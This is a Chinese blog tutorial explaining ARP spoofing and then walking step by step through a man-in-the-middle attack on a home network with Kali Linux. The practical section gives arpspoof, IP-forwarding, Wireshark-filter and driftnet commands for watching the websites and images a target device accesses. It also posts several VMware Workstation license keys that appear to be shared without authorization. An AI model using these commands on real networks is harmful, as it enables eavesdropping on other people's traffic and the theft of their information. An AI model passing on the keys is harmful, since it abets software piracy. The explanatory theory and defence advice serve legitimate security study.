目录请见侧边栏

一.序言

当一个人连接到你家的路由器,你是否好奇他在干什么;
网上盛传“不要随意连接公共WIFI”,你是否知道它的依据;
以及如果你连接了公共WIFI,为什么黑客可以盗取你的信息,他可以盗取你的什么信息;
看完本篇文章,你可能会有所收获;
如在实操过程中出现各种问题,欢迎微信交流探讨
声明:本篇文章仅作技术探讨和学术交流之用,严禁用于非法用途,请尊重他人隐私;
文章实践部分测试环境设备均为本人设备,不存在隐私及侵权问题;
文章中提到的所用软件和所引用文章著作权归原作者所有;
所参考文章在文末标出。

二.理论

1.ARP是什么

这里引用CSDN上的一篇博客作说明

ARP是Address Resolution Protocol(地址解析协议)的缩写。在以太网中,两台机器想要通信,就必须知道目标主机得MAC地址,而ARP协议的作用就是获取MAC。ARP协议的基本功能就是在主机发送数据之前将IP地址转换为MAC地址,完成网络地址到物理地址的映射。

ARP缓存表
任何一台主机安装了TCP/IP协议都有ARP缓存表,该表保存了局域网中个主机IP对应的MAC地址,ARP缓存表能够有效地保证数据传输的一对一特性。在Windows中可以使用arp -a来查看缓存表。
ARP缓存表中的数据是有时效性的,在超过指定的时间后,将从缓存中删除它们,Windows中默认的存活时间为两分钟。

局域网主机通信过程
(B为局域网内主机;C为局域网外主机,也可视作公网主机)

A和B通信:主机A使用ping <B的IP地址>,主机A进行子网掩码对比,发现与B在同一局域网 内:
A查询本机ARP缓存表,查看是否存在B的MAC地址。
①存在:直接发送数据。
②不存在:A发送ARP请求报文(包含IP、MAC地址、请求地址等),局域网内主机在收到请求报文时,仅有B应答,并将自己的MAC地址发送给A,而且会将A的MAC地址存在自己的ARP缓存表中。在主机A收到B的响应之后,会将B的MAC地址保存在自己的ARP缓存表中,然后发送数据。

2、A与C通信时:主机A通过子网掩码对比,发现与主机C不在同一局域网中,所以需要网关转发处理:
主机A查询ARP缓存表中是否存在网关1的MAC地址。
①不存在时:通过广播获取网关1的MAC地址。
②存在时:向网关1发送数据包,由网关1向网关2发送数据包,网关2查看数据包发现是发送给C的。然后网关2查看自己的ARP缓存表是否存在C的MAC地址。存在,直接发送数据包;不存在,则广播获取MAC地址之后发送。

原文链接:https://blog.csdn.net/sycamorelg/article/details/118359830
看不懂没关系,这里举个例:
比如你要访问百度,那么你的设备就会在ARP表中查询一下路由器的MAC地址(就像你在现实中有一个笔记本,上面写着你朋友家的地址,你要去朋友家,就拿出来看一下朋友家在哪),然后向路由器发送你访问百度的请求,路由器再把请求发给百度。

2.什么是ARP欺骗,ARP攻击的实现原理

ARP欺骗简单来说,就是你的设备向同一个路由器下的某个设备一直说:“哎哎哎,我才是路由器,我的MAC地址是 XX,把你的请求发给我,我帮你转发。”
这个时候,那个设备就会信以为真,将数据包发给你。

3.抓包工具的原理

抓包工具有很多,他们的原理基本上一致,就是监听经过你设备的数据包,无论是你自己的,还是其它设备发给你的,然后进行记录和解析,你就能看出你的设备上经过了什么数据。

4.ARP攻击的危害与防范

对被攻击者来说,ARP攻击可能:
1.造成断网(还可能造成局域网上所有设备断网)。
2.被劫持流量,获取敏感信息等。
所以我们要对ARP攻击进行防范,
对小白来说,最简单的是在电脑上安装一个360之类的安全软件,不连接公共WIFI等;
手机除了不连接公共WIFI,暂时没有其它更好的办法
不过,我们也无须太过担心,因为大部分流量(https)都是加密的。

三.实践

注意:仅适用于电脑
本文章演示在kali系统下进行

1.VMware的安装

VMware是一个著名的虚拟机软件,官网下载地址:
Download VMware Workstation Pro
进入后滑到页面最下面,点击“Workstation Pro for Windows”下面的“DOWNLOAD NOW”
image.png
下载完成后点击打开,按照提示安装
安装位置默认在 C 盘下,可以选择安装在其它盘,安装路径尽量不要有中文。可勾选 增强型键盘驱动程序 ,也可以不选
image.png
安装完成后点击许可证,随后输入密钥。
image.png
这里我为大家准备了几个密钥,如果不能用请自行百度
ZF3R0-FHED2-M80TY-8QYGC-NPKYF
YF390-0HF8P-M81RQ-2DXQE-M2UT6
ZF71R-DMX85-08DQY-8YMNC-PPHV8
(如报错请查看附录1)

2.安装kali虚拟机系统

既然要安装,那就要下载,可是这kali官网的下载速度实在感人
所以这里使用清华大学开源软件镜像站下载

32位系统下载:
i386(32位)下载
64位系统下载:
amd64(64位)下载
系统版本查询方法请参考虚拟摄像头教程(简易)(新)
下载后记下你安装到了哪里

安装配置虚拟机

随后在VM里安装虚拟机
(以下内容参考图片取自
(1)打开VMware Workstation,创建新的虚拟机,我们使用自定义的配置方法。

(2)导入系统镜像文件(选择你上面下载的镜像的保存地址

(3)选择客户机操作系统及版本

(4)输入虚拟机的名称安装位置

(5)点击下一步直至出现以下界面
为虚拟机分配内存,建议不要超过提示的最大推荐内存,这里分配2GB。

(6)继续点击下一步,使用推荐选项,直至出现磁盘容量分配
一定要比建议分配容量大!一定要比建议分配容量大!一定要比建议分配容量大!否则后面安装时可能会卡在奇怪的地方。
选择将虚拟磁盘存储为单个文件

(7)开启虚拟机,进入安装界面,选择图形界面安装(Graphical install)。

(8)自定义主机名

(9)按如下步骤进行



此时可能报错,如报错请查看附录1,如没有请继续


(有些步骤在最新版本安装中没有,忽视即可)
(有些图片与最新版本安装不太一样,以实际安装为准)
新版在安装过程中还会让你设置用户名和密码,在登录时是用自己的用户名和密码
报错请按照附录1操作!!!
**(10)**重启虚拟机后进入系统,输入用户名和密码

配置网络

完成后配置网络
参考):
(1)选择编辑中的虚拟网络编辑器(VMware上方菜单
点击更改设置
image.png
点击VMnet0如图配置
桥接到选择自己的网卡
image.png
(2)点开kali,选择编辑虚拟机设置

image.png
(3)将网络适配器的网络连接选为桥接模式,并且勾上复制
image.png
(4)在主机上按win+r键(win键是那个有四个方块的)
输入ipconfig回车
找到类似这样的一段文字
image.png
不要在VM开头的下面找)
(5)进入kali,如图所示打开root窗口红色的

输入以下命令
vi /etc/network/interfaces
然后按i键进入编辑
根据上面查到的内容在下面加上以下文本
(可复制后粘贴到下面然后替换<>内内容)

1
2
3
4
5
auto eth0
iface eth0 inet dhcp
address <IPv4地址>
netmask <子网掩码>
gateway <默认网关>

最后按ESC,输入wq退出
(6)还是打开root窗口
输入vi /etc/resolv.cof
之后输入这些文本(替换<>内内容)

1
2
nameserver <默认网关>
nameserver 8.8.8.8

按ESC,输入wq退出
(7)输入service networking restart重启网络
大功告成!

3.在kali系统下安装arpspoof

复制,右键粘贴并回车运行以下代码
apt-get install -y dsniff ssldump
安装arpspoof,等待完成后继续操作

4.进行ARP欺骗攻击

首先,请在每次开机后用root窗口运行以下代码,否则被欺骗设备将无法上网
注意:每次开机后都要执行
echo 1 > /proc/sys/net/ipv4/ip_forward
可使用以下代码检查,如果结果为1则设置成功
cat /proc/sys/net/ipv4/ip_forward
之后,登录你家路由器管理页面,查看你想要攻击的设备的ip地址和网关路由器地址
image.png
image.png
可以看到我的测试机ip(目标IP)192.168.31.128,路由器ip(网关IP)192.168.31.1
设置成功之后输入并执行以下代码即可开始攻击
arpspoof -i eth0 -t <网关IP> <目标IP>
用上面得到的IP替换<>内的内容
那么我的就是
arpspoof -i eth0 -t 192.168.31.1 192.168.31.128
(注:此处若仍出现目标
不可上网
,将目标IP网关IP调换一下位置)
如果想要停止,在运行中的root窗口内按Ctrl+C,等待清除痕迹即可

5.使用抓包软件抓包

如图所示打开Wireshark抓包工具
GIF 2022-11-1 18-28-13.gif

在过滤器框内输入
ip.addr==<目标IP>
就可以查看目标设备的网络流量了
输入
ip.addr==<目标IP>&&dns
就可以看出他访问的什么网站了

此时再打开一个root窗口,输入
driftnet -i eth0
就可以在小窗口内查看他的流量里经过的可被拦截的图片

6.效果展示

比如我访问一下百度百科,这里就出现了baidu.com的域名
image.png

附录1

在电脑搜索框输入“启用或关闭Windows功能”
image.png

点开它,把Hyper-V勾上然后重启电脑即可
image.png

参考资料

最新超详细虚拟机VMware安装Kali Linux_隐秀_的博客-CSDN博客_kali虚拟机安装教程
VMWare中kali完成桥接网络的配置_pray030的博客-CSDN博客_kali桥接网络